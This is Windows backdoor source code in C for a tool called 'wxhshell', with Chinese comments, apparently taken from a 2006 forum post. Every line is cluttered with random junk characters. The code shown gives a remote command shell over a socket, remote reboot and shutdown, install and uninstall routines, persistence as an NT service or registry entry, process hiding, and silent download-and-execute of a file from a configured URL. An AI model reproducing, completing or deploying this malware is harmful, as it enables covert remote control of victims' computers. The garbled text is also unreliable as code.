    switch(cmd[0]) { 9ePR6WS4  
  r*kz`cJ  
  // 帮助 :qvA'.L/;z  
  case '?': { R+5yyk\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pebNE3`#  
    break; IO{iQ-Mg  
  } TdL/tg!  
  // 安装 2v{42]XYf  
  case 'i': { sB=s .`9  
    if(Install()) ,Yu2K`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (gEz<}Av.  
    else lGXr-K?+Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f3SAK!V+s  
    break; 8E|FFHNK<2  
    } Bp/ k{7  
  // 卸载 bo &QKK  
  case 'r': { [H=l# W@  
    if(Uninstall()) <Q@{6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?OBB)hj  
    else 0~Iq9}{*P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G7k.YtW  
    break; bW2Msv/H  
    } :a*F>S!  
  // 显示 wxhshell 所在路径 LM*m> n*  
  case 'p': { Z|BOuB^   
    char svExeFile[MAX_PATH]; 9Idgib&  
    strcpy(svExeFile,"\n\r"); 5|g#>sx>`q  
      strcat(svExeFile,ExeFile); hY/i)T{  
        send(wsh,svExeFile,strlen(svExeFile),0); !|-:"hE1h  
    break; g+QNIM>  
    } nnuJY$O;M  
  // 重启 |k<5yj4?  
  case 'b': { (AT)w/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kPYQcOK8  
    if(Boot(REBOOT)) RY9Ur  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X<uH [  
    else { NC%)SG \  
    closesocket(wsh); OyATb{`'  
    ExitThread(0); yJ2A!id  
    } IF kU8EK&B  
    break; _/5xtupxE  
    } keS%w]87  
  // 关机 DG/<#SCF  
  case 'd': { lTJM}K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U(\ ^!S1  
    if(Boot(SHUTDOWN)) l-q.VY2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / jN &VpDG  
    else { J\Z\q  
    closesocket(wsh); TL@{yJ;s  
    ExitThread(0); G\Q0{4w8  
    } Mo&Po9  
    break; kjRL|qx`a;  
    } 0kL tL!3  
  // 获取shell #IxCI)!I{[  
  case 's': { $`txU5#vs  
    CmdShell(wsh); #4{9l SbU  
    closesocket(wsh); +.|8W!h`1  
    ExitThread(0); lt|UehJ F  
    break; rlSflcK\\(  
  } |c:xK{Ik  
  // 退出 ~c|{PZ9U  
  case 'x': { AUwIF/>F(]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fHacVj J  
    CloseIt(wsh); 4Dv42fO  
    break; !z_VwZ#,  
    } PHqIfH [  
  // 离开 ^:]~6p#  
  case 'q': { QO3QR/Ww  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gro@+^DmT  
    closesocket(wsh); *h2)$^P%  
    WSACleanup(); 2@a]x(  
    exit(1); Hv .C5mo  
    break; 8EAkM*D w  
        } ?Q/9aqHe;  
  } bS*oFm@u  
  } /;xmM 2B'  
T^.W'  
  // 提示信息 [(/IV+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A!p70km2  
} Y?V>%eBu  
  } ]F1ZeAh5  
>@St Kj  
  return; X] v.Yk=wu  
} k?ksv+e\  
;T?4=15c  
// shell模块句柄 I~NQt^sg  
int CmdShell(SOCKET sock) 3&7$N#v  
{ nnBl:p>< k  
STARTUPINFO si; 7VKTI:5y  
ZeroMemory(&si,sizeof(si)); Oz7WtN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N TL`9b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (ZHEPN  
PROCESS_INFORMATION ProcessInfo; ?o.Q  
char cmdline[]="cmd"; &#qy:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~U_,z)<`)c  
  return 0; Wf:I 0  
} O)9{qU:[b  
VH5Vg We  
// 自身启动模式 Dv[ 35[Yh  
int StartFromService(void) %SD=3UK6  
{ l/@t>%  
typedef struct Zv)x-48  
{ 8Qi@z Jq,  
  DWORD ExitStatus; x@480r  
  DWORD PebBaseAddress; ]BBL=$*  
  DWORD AffinityMask; :{KoZd  
  DWORD BasePriority; 7cMSJM(]G  
  ULONG UniqueProcessId; :Vx5%4J  
  ULONG InheritedFromUniqueProcessId; xk$U+8K  
}   PROCESS_BASIC_INFORMATION; cG~-OHU  
A?/(W_Gt^M  
PROCNTQSIP NtQueryInformationProcess; 1VC:o]$  
G!3d!$t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #OVf2  "  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ::A]p@  
l:H}Y3_I  
  HANDLE             hProcess; Ff @Cs0R  
  PROCESS_BASIC_INFORMATION pbi; and)>$)|  
L.) 0!1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `t~Zkb4>  
  if(NULL == hInst ) return 0; 'vUx4s  
^z\*; f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %wuD4PRK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "iY=1F"\R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .#ASo!O5q  
hIv8A_>@`  
  if (!NtQueryInformationProcess) return 0; I,d5Y3mC  
FOx&'dH %@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5T4!' 4n  
  if(!hProcess) return 0; E T 2@dY~  
{`M 'ruy.%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !*@sX7H  
xf]_@T;  
  CloseHandle(hProcess); ;}k9YlQrN  
8e3I@mv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -r!sY+Z>  
if(hProcess==NULL) return 0; 8Cw+<A*  
U%nLo[k  
HMODULE hMod; u+Q<> >lU  
char procName[255]; Wy`ve~y  
unsigned long cbNeeded; :AM5EO  
BHa'`lCb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -%eBip,'yl  
t}]R0O.s  
  CloseHandle(hProcess); qoXncdDHZ  
HM(S}>  
if(strstr(procName,"services")) return 1; // 以服务启动 Gn8'h TM  
1||\3L/  
  return 0; // 注册表启动 mjtmN0^SR  
} QFtf.")[.  
<4|/AF*>  
// 主模块 da/Tms`T  
int StartWxhshell(LPSTR lpCmdLine) yhpeP  
{ p\ }Ep  
  SOCKET wsl; $+$S}i=  
BOOL val=TRUE; ,=@%XMS  
  int port=0; O.% $oV  
  struct sockaddr_in door; Btgxzf  
H${5pY_M  
  if(wscfg.ws_autoins) Install(); gL:Vj%c  
Z>si%Npm\  
port=atoi(lpCmdLine); O<o>/HH$  
%2jRJ  
if(port<=0) port=wscfg.ws_port; *lT:P-  
,s9gGCA  
  WSADATA data; A3 |hFk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :_f5(N*{5o  
Y3QrD&V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2aR<xcSg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c?0.>^,B Q  
  door.sin_family = AF_INET; o'SZ sG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AYP*J  
  door.sin_port = htons(port); t.`&Q|a  
Gjh8>(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <X b B;  
closesocket(wsl); mhDC1lXF  
return 1; i=^!? i  
} J )DFH~p  
il5Qo  
  if(listen(wsl,2) == INVALID_SOCKET) { DQy<!Wb+  
closesocket(wsl); bk}'wcX<+]  
return 1; p9`!.~[  
} -E(0}\  
  Wxhshell(wsl); Glw_<ag[  
  WSACleanup(); qTuQ]*[-  
._i|+[  
return 0; ~>"m`Q&[  
zvgy$]y'\  
} !Enq2  
3~o#1*->  
// 以NT服务方式启动 (/a#1Pd&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;LXwW(_6d  
{ 0Kytg\p}  
DWORD   status = 0; nR(v~_y[V  
  DWORD   specificError = 0xfffffff; P\lEfsuR  
T{:~v+I=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qu;cl/&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'OTQiI^t=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; * ",/7(  
  serviceStatus.dwWin32ExitCode     = 0; fR$_=WWN>h  
  serviceStatus.dwServiceSpecificExitCode = 0; ' %&gER  
  serviceStatus.dwCheckPoint       = 0; 9-3, DxZ}  
  serviceStatus.dwWaitHint       = 0; . \t8s0A  
rn9n_)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oe~x,=X)  
  if (hServiceStatusHandle==0) return; 9>6DA^  
 J^V}%N".  
status = GetLastError(); s ]XZQr%  
  if (status!=NO_ERROR) / :z<+SCh  
{ x=M%QFe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sW^e D;  
    serviceStatus.dwCheckPoint       = 0; /2.}m`5  
    serviceStatus.dwWaitHint       = 0; K8bKTG\  
    serviceStatus.dwWin32ExitCode     = status; =f/CBYNw@V  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0;Oe&Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xk*&zAt  
    return; S T1V  
  } QHDR* tB:{  
]T:a&DHC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b$;qtfJG  
  serviceStatus.dwCheckPoint       = 0; cTJi8f=g  
  serviceStatus.dwWaitHint       = 0; -k8<LR3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0Fw4}f.o  
} DEw>f%&4  
tP][o494\&  
// 处理NT服务事件,比如:启动、停止 B%^W$7 q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .mbqsb]&Y  
{ @u @~gEt  
switch(fdwControl) 9]Fi2M  
{ 'CMbq Lk#  
case SERVICE_CONTROL_STOP: U #C@&2  
  serviceStatus.dwWin32ExitCode = 0; \_]X+o;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SNJSRqWL/  
  serviceStatus.dwCheckPoint   = 0; dM=45$\q  
  serviceStatus.dwWaitHint     = 0; J6I:UML  
  { [} zzG@g,J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yiw4<]{IX  
  } U EjP`  
  return; lDSF  
case SERVICE_CONTROL_PAUSE: TtQ'I}7q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xwo%DZKN  
  break; ;=p3L<~c`K  
case SERVICE_CONTROL_CONTINUE: ![i)_XO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $*Kr4vh  
  break; Yu$QL@  
case SERVICE_CONTROL_INTERROGATE: `y|_hb  
  break; Uv m:`e~?  
}; ZXIw^!8@/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oo\7\b#Jx  
} $<QrV,T  
g\% Z+Dc  
// 标准应用程序主函数 AU1U?En  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E|vXM"zFl  
{ [=BccT:b  
,gpZz$Ef(  
// 获取操作系统版本 IIG9&F$G  
OsIsNt=GetOsVer(); f DwK5?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zz1nXUZ  
vSu dT  
  // 从命令行安装 KdBpfPny@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^)y8X.iO  
Y b=77(Q V  
  // 下载执行文件 3=Q:{  
if(wscfg.ws_downexe) { =%B5TBG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6_s(Kx>j  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z)}UCi+/".  
} zM,r0Z  
C-@[=  
if(!OsIsNt) { .VCF[AleS  
// 如果时win9x,隐藏进程并且设置为注册表启动 .P <3+  
HideProc(); )bWopc  
StartWxhshell(lpCmdLine);  l*?_@  
} Z]e`bfNnI  
else +Bf?35LP  
  if(StartFromService()) s&hr$`V4  
  // 以服务方式启动 -.Blj<2ah  
  StartServiceCtrlDispatcher(DispatchTable); _%[po%]  
else YF)]B|I  
  // 普通方式启动 mqj-/DN6*  
  StartWxhshell(lpCmdLine); ~Pj q3etk  
(3"N~\9m  
return 0; RfOJUz  
}
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只看该作者 1 发表于: 2006-10-10
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